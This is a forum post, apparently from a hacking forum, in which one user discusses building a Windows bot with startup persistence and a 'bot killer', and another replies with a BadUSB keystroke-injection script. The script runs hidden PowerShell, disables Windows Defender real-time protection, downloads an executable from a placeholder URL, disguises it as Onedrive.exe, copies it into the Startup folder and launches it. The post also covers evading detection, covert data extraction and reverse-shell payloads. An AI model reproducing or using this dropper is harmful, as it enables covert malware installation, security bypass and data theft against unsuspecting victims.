(Mar 25, 2025 10:27 PM)Donrulezz Wrote: thanks but as i mentioned exe means its for windows only.
also run as admin i can add but making it hidden or silent is not possible it will prompt show prompt for admin.
startup can also be added no issues .
send report to mail/website/discord/telegram if detected is not useful it will raise more red flags will try to keep it simple to make less suspicious.
yeah a bot killer along with protection of our bot.
i will add a option called protect a specfic registry or task scheduler & kill everything else.
thanks for the suggestion.
a Badusb tricks i learned in the Flip crew xD
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
REM Disable windows defender...
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 1000
REM File downloading
STRING Invoke-WebRequest -Uri "https://fwwwwwwwwwwwww/Don.exe" -OutFile "$env:temp\don.exe"
ENTER
DELAY 2000
REM File name change
STRING Rename-Item "$env:temp\don.exe" "$env:temp\Onedrive.exe"
ENTER
DELAY 1000
REM Moving to auto-start
STRING Copy-Item "$env:temp\Onedrive.exe" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Onedrive.exe"
ENTER
DELAY 1000
REM Running program...
STRING Start-Process "$env:temp\Onedrive.exe"
ENTER
im not sure it was my final version, this one need some tweak like adding admin privillege, add wd exception and rechange it back to normal at the end.
this is badusb script but it work perfectly as batch, run hidden to start download and everything. for data extraction, text, audio video live there is a website called Kosmi.io that could be used. those method are mostly not detected. If you want a good github for data extraction and various extraction, payload, reverse shell i can try to find the repo
